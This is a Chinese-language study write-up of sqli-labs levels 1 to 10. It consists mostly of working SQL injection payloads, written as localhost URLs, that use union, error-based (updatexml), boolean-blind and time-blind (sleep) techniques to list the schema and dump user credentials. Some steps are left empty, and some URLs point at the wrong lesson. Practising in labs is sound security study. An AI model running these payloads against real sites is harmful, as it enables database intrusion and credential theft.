目标:sql-labs 1~10
第一关:
提示:1.get-基于错误-单引号-字符串。
2.请输入id作为带数值的参数。
判断:1.为单引号的sql注入漏洞。
步骤:1.确定注入点
2.联合注入:
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 1--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 2--+ ->页面正常
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4--+ ->报错
推出表格有3列。
3.1爆库: ? id =- 1' union select database(), user() ,version()--+
http://localhost/sqli-labs/Less-2/? id =- 1' union select 1,database(), version()--+
3.2 爆表: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
3.3爆列: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.4 爆数据 : ?id=-1' union select 1,2, group_concat( 列1, 列2 ) from表名 -- +
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关:
提示:1.get-基于错误-intiger-错误。
2.请输入id作为带数值的参数。
判断:1.判断注入点。
2.数据库必有列名为id的列,可以使用?id=1 判断回显。
步骤:1.确定注入点
http://localhost/sqli-labs/Less-2/?id=1' ->报错
http://localhost/sqli-labs/Less-2/?id=1' --+ ->报错
不是get-基于错误-单引号-字符串。
http://localhost/sqli-labs/Less-2/?id=1” ->报错
http://localhost/sqli-labs/Less-2/?id=1" --+ ->报错
不是get-基于错误-双引号-字符串。
http://localhost/sqli-labs/Less-2/?id=1 --+ ->正常
get-基于错误-数字。
2.联合注入:
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 1--+
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 2--+ ->页面正常
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3--+
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4--+ ->报错
推出表格有3列。
3.1爆库: ? id =- 1' union select database(), user() ,version()--+;
http://localhost/sqli-labs/Less-2/? id =- 1 union select 1,database(),version()--+
3.2 爆表: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' security' -- +
3.3爆列: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
http://localhost/sqli-labs/Less-/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.4 爆数据 : ?id=-1' union select 1,2, group_concat( 列1, 列2 ) from表名 -- +
http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
第三关:
提示:1.get-基于错误-带扭曲字符串-单引号。
2.请输入id作为带数值的参数。
判断:1.为单引号的sql注入漏洞。
2.?id=1’) --+ 闭合
步骤:1.确定注入点
2.联合注入:
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 1--+
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 2--+ ->页面正常
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 3--+
http://127.0.0.1/sqli-labs/Less-1/?id=1') order by 4--+ ->报错
推出表格有3列。
3.1爆库: ? id =- 1' union select database(), user() ,version()--+;
http://localhost/sqli-labs/Less-3/? id =- 1' ) union select 1,database(), version()--+
3.2 爆表: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' security' -- +
3.3爆列: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.4 爆数据 : ?id=-1' union select 1,2, group_concat( 列1, 列2 ) from表名 -- +
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关:
提示:1.get-基于错误-带双引号(带扭曲字符串)-字符串。
2.请输入id作为带数值的参数。
判断:1.为双引号的sql注入漏洞。
2.?id=1“) --+ 闭合
步骤:1.确定注入点
2.联合注入:
http://127.0.0.1/sqli-labs/Less-4/?id=1”) order by 1--+
http://127.0.0.1/sqli-labs/Less-4/?id=1”) order by 2--+ ->页面正常
http://127.0.0.1/sqli-labs/Less-4/?id=1”) order by 3--+
http://127.0.0.1/sqli-labs/Less-4/?id=1”) order by 4--+ ->报错
推出表格有3列。
3.1爆库: ? id =- 1' union select database(), user() ,version()--+;
http://localhost/sqli-labs/Less-4/? id =- 1”) union select 1,database(), version()--+
3.2 爆表: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
http://localhost/sqli-labs/Less-4/?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' security' -- +
3.3爆列: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
http://localhost/sqli-labs/Less-4/?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.4 爆数据 : ?id=-1' union select 1,2, group_concat( 列1, 列2 ) from表名 -- +
http://localhost/sqli-labs/Less-4/?id=-1”) union select 1,2,group_concat(username ,id , password) from users--+
第五关:
提示:1.get-双向传输-单引号-字符串。
2.请输入id作为带数值的参数。
判断:1.为单引号的sql注入漏洞。
2.使用报错注入
步骤:1.
2.
3.1 爆库:
http://localhost/sqli-labs/Less-5/?id=1' and updatexml(1, concat(0x7e, (select concat_ws(',', database(), user(), version())), 0x7e), 1) --+
3.2 爆表:
http://localhost/sqli-labs/Less-5/?id=1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 0x7e), 1) --+
3.3 爆列:
http://localhost/sqli-labs/Less-5/?id=1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name ='users' limit 0,1), 0x7e), 1) --+
3.4 爆数据:
http://localhost/sqli-labs/Less-5/?id=1' and updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', id, ':', password) separator '||') from users limit 0,1), 0x7e), 1) -- +
第六关:
提示:1.get-双向传输-双引号-字符串。
2.请输入id作为带数值的参数。
判断:1.为单引号的sql注入漏洞。
2.使用报错注入
步骤:1.
2.
3.1 爆库:
http://localhost/sqli-labs/Less-6/?id=1” and updatexml(1, concat(0x7e, (select concat_ws(',', database(), user(), version())), 0x7e), 1) --+
3.2 爆表:
http://localhost/sqli-labs/Less-6/?id=1” and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 0x7e), 1) --+
3.3 爆列:
http://localhost/sqli-labs/Less-6/?id=1”and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name ='users' limit 0,1), 0x7e), 1) --+
3.4 爆数据:
http://localhost/sqli-labs/Less-6/?id=1”and updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', id, ':', password) separator '||') from users limit 0,1), 0x7e), 1) -- +
第七关:
提示:1.get-转储到 outfile-String。
2.请输入id作为带数值的参数。
判断:dnslog 外带注入。
第八关:
提示:1.get-基于-布尔盲注-单引语
2.请输入id作为带数值的参数。
判断: 为单引号的布尔盲注
1.
2.
3.1 爆库
3.1.1判断库名长度: ?id=1' and length(database())>数字 一个一个慢慢试
http://localhost/sqli-labs/Less-8/?id=1' and length(database())>1 --+
http://localhost/sqli-labs/Less-8/?id=1' and length(database())>2 --+
http://localhost/sqli-labs/Less-8/?id=1' and length(database())>3 --+
… …
推出库名长度为8.
3.1.2判断库名: ?id=1' and left((select database()),1)>'s'--+
http://localhost/sqli-labs/Less-8/?id=1' and database() like 's%' -- +
综上:得出库名security
http://localhost/sqli-labs/Less-8/?id=1' and database() like 'security%' -- +
3.2 爆表
3.2.1 判断表名长度:
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
http://localhost/sqli-labs/Less-8/?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>19--+
……
推出表名长度为29?
数了数,应该是对的。
3.2.1 判断表名:
http://localhost/sqli-labs/Less-8/?id=1' and (select group_concat(table_name) from information_schema.tables where table_schema='security') like 'emails,referrers,uagents,users%' ) -- +
错了?
问了al之后明白like不支持检查多个表名,要想检索多个表名可以使用REGEXP()函数:
http://localhost/sqli-labs/Less-8/?id=1' and (select group_concat(table_name) from information_schema.tables where table_schema='security') REGEXP 'emails|referrers|uagents|users' -- +
若依然想用like,需要加限制条件,一个一个来:
http://localhost/sqli-labs/Less-8/?id=1' and (select case when (select count(*) from information_schema.tables where table_schema='security' and table_name like 'users%') > 0 then 1 else 0 end) --+
3.3 爆列
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.3.1 爆列长
http://localhost/sqli-labs/Less-8/?id=1'and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>89--+
3.3.1 爆列名 ->长的令人头皮发麻……还是按条件试吧。
目标是检查security数据库中名为users(或类似名称)的表中是否存在名为username,id,password的列,三个列还请一个一个的试。
http://localhost/sqli-labs/Less-8/?id=1' and (select case when (select count(*) from information_schema.columns where table_schema='security' and table_name like 'users%' and column_name in ('username', 'id', 'password')) > 0 then 1 else 0 end) --+
3.4 爆数据
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
3.4.1爆数据长度
http://localhost/sqli-labs/Less-8/?id=-1') and length((select group_concat(username ,id , password) from users)) >2--+
3.4.2 爆数据
不想干了。
第九关:
提示:1.get-基于-时间盲注-单引语
2.请输入id作为带数值的参数。
判断: 为单引号的时间盲注
1.
2.
3.1 爆库
3.1.1判断库名长度: ?id=1' and length(database())>数字 一个一个慢慢试
http://localhost/sqli-labs/Less-9/?id=1'
and if(length(database())>7,sleep(9),0) --+ ->一直转
http://localhost/sqli-labs/Less-9/?id=1'
and if(length(database())>8,sleep(9),0) --+ ->很快停
… …
推出库名长度为8.
3.1.2判断库名: ?id=1' and left((select database()),1)>'s'--+
http://localhost/sqli-labs/Less-9/?id=1'
and (select if(database() like 'security%', sleep(9), 0)) -- + ->一直转
综上:得出库名security
3.2 爆表
3.2.1 判断表名长度:
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
http://localhost/sqli-labs/Less-8/?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>19--+
http://localhost/sqli-labs/Less-9/?id=1' and
if(length((select group_concat(table_name) from information_schema.tables
where table_schema='security')) > 19, sleep(9),0) -- + ->一直转
……
推出库名长度为29。
3.2. 判断表名:
若依然想用like,需要加限制条件,一个一个来:
(select if(database() like 'security%', sleep(9), 0)) -- +
http://localhost/sqli-labs/Less-9/?id=1'
and (select if(exists(select 1 from information_schema.tables
where table_schema='security' and table_name like 'users%'), sleep(9), 0)) --+
3.3 爆列
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.3.1 爆列长
3.3.1 爆列名 ->长的令人头皮发麻……还是按条件试吧。
目标是检查security数据库中名为users(或类似名称)的表中是否存在名为username,id,password的列,三个列还请一个一个的试。
3.4 爆数据
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
3.4.1爆数据长度
http://localhost/sqli-labs/Less-8/?id=-1') and length((select group_concat(username ,id , password) from users)) >2--+
3.4.2 爆数据
第十关:
提示:1.get-基于-时间盲注-双引语
2.请输入id作为带数值的参数。
判断: 为双引号的时间盲注
2.
3.1 爆库
3.1.1判断库名长度: ?id=1' and length(database())>数字 一个一个慢慢试
http://localhost/sqli-labs/Less-10/?id=1”
and if(length(database())>7,sleep(9),0) --+ ->一直转
http://localhost/sqli-labs/Less-10/?id=1”
and if(length(database())>8,sleep(9),0) --+ ->很快停
… …
推出库名长度为8.
3.1.2判断库名: ?id=1' and left((select database()),1)>'s'--+
http://localhost/sqli-labs/Less-10/?id=1”
and (select if(database() like 'security%', sleep(9), 0)) -- + ->一直转
综上:得出库名security
3.2 爆表
3.2.1 判断表名长度:
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
http://localhost/sqli-labs/Less-8/?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>19--+
http://localhost/sqli-labs/Less-10/?id=1” and
if(length((select group_concat(table_name) from information_schema.tables
where table_schema='security')) > 19, sleep(9),0) -- + ->一直转
……
推出库名长度为29?
数了数,应该是对的。
3.2. 判断表名:
若依然想用like,需要加限制条件,一个一个来:
(select if(database() like 'security%', sleep(9), 0)) -- +
http://localhost/sqli-labs/Less-10/?id=1”
and (select if(exists(select 1 from information_schema.tables
where table_schema='security' and table_name like 'users%'), sleep(9), 0)) --+
3.3 爆列
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.3.1 爆列长
同上
3.3.1 爆列名 ->长的令人头皮发麻……还是按条件试吧。
目标是检查security数据库中名为users(或类似名称)的表中是否存在名为username,id,password的列,三个列还请一个一个的试。
3.4 爆数据
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
同上
3.4.1爆数据长度
http://localhost/sqli-labs/Less-8/?id=-1') and length((select group_concat(username ,id , password) from users)) >2--+
同上
3.4.2 爆数据
同上